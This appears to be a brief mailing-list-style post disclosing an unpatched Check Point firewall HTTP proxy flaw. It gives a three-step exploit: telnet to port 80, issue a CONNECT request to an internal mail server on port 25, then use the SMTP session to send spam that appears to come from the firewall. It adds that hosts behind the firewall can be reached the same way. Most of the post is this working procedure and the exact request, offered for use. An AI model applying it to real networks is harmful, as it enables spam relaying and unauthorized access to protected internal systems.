Try this on your firewall if you are running HTTP Proxy! Checkpoint has yet
to release a fix.
Step one: telnet to a machine behind the checkpoint firewall on port 80
(it can be a fake machine that doesn't exist, as long as the name
resolves)
Step two: Type the following:
>CONNECT mailserver.somecompany.com:25 / HTTP/1.0
>User-Agent: eeep
>Cache-Control: private,no-cache
>Pragma: no-cache
>
Step three: wait a moment for your SMTP banner to pop up.
You can then send SPAM email, and it looks like it came from your firewall.
I also found out that one can telnet to machines on a network that are
protected by the Firewall.
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